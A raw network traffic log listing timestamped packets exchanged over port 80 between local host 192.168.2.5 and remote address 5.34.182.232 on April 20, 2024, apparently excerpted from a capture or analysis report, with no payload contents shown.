Apr 20, 2024 10:23:47.663266897 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.663280964 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663290977 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.663294077 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663307905 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663319111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663330078 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663347960 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663353920 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663360119 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663362026 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.663362026 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.663373947 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663379908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.663491964 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901324034 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901384115 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901422024 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901475906 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901511908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901547909 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901550055 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901550055 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901597023 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901617050 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901635885 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901680946 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901699066 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901726961 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901768923 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901787043 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901813984 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901850939 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901868105 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901886940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901933908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.901946068 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.901971102 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902007103 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902023077 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902053118 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902089119 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902100086 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902126074 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902170897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902182102 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902208090 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902251959 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902265072 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902287960 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902324915 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902333021 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902369976 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902405024 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902419090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902441978 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902486086 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902498007 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902520895 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902565002 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902579069 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902601957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902637959 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902650118 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902683020 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902717113 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902729034 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902751923 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902796030 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902808905 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902832031 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902867079 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902883053 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902911901 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902947903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.902961969 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.902992964 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903028965 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903049946 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903065920 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903110027 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903124094 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903146029 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903182983 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903196096 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903228998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903264046 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903275013 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903307915 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903343916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903356075 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903378963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903424978 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903436899 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903460026 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903496027 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903508902 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903539896 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903574944 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903588057 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903614998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903659105 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903671026 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903693914 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903738976 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903753042 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903774977 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903809071 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903820992 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903853893 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903891087 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903903961 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.903928041 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903973103 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.903985977 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904010057 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904055119 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904067039 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904090881 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904175997 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904201031 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904221058 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904258013 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904268980 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904294014 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904339075 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904350996 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904376030 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904412031 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904424906 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904457092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904493093 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904508114 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904536963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904573917 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904587030 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904612064 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904658079 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904669046 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904695034 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904730082 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904742956 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904773951 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904808998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904823065 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904844999 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904881001 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.904892921 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.904973984 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905019999 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905044079 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905055046 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905091047 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905105114 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905133963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905169964 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905184031 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905206919 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905293941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905307055 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905329943 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905375957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905391932 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905412912 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905450106 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905486107 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905493975 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905529976 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905549049 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905565977 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905612946 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905648947 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905653954 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905683994 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905694962 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905723095 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905760050 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905771017 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905803919 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905839920 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905855894 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905874968 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905919075 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905932903 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.905955076 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.905989885 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906003952 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906033993 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906074047 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906085014 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906119108 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906156063 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906188011 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906191111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906234980 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906248093 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906270027 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906306028 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906318903 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906348944 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906388044 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906402111 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906423092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906460047 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906475067 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906495094 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906538963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906553030 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906574965 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906610966 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906620026 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906653881 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906692028 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906717062 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906727076 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906770945 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906785011 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906807899 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906852007 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906882048 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906888008 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906924963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.906936884 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.906969070 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907004118 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907017946 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907040119 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907083988 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907097101 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907119989 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907155991 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907167912 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907207012 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907243967 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907257080 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907289982 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907325983 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907339096 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907362938 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907407045 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907419920 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907443047 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907479048 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907491922 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907521963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907557964 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907569885 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907603979 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907643080 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907651901 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907680988 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907702923 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907726049 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907733917 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907761097 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907776117 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907797098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907812119 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907841921 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907855034 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907880068 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907892942 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907926083 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907938957 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907962084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.907975912 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.907998085 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908010006 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908041954 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908056021 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908077955 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908092976 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908140898 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908176899 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908214092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908224106 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908258915 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908267021 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908294916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908322096 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908333063 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908349991 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908376932 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908391953 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908413887 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908430099 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908458948 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908473015 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908495903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908509016 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908531904 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908548117 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908576965 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908591032 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908613920 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908623934 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908652067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908663988 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908689022 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908701897 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908725023 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908739090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908770084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908783913 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908807993 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908822060 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908844948 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908859015 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908889055 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908902884 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908925056 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908937931 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.908970118 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.908987045 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909006119 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909018040 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909043074 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909056902 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909087896 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909102917 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909123898 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909140110 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909168005 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909183979 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909204006 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909214973 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909240007 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909254074 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909285069 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909293890 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909321070 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.909333944 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.909357071 CEST	80	49718	5.34.182.232	192.168.2.5
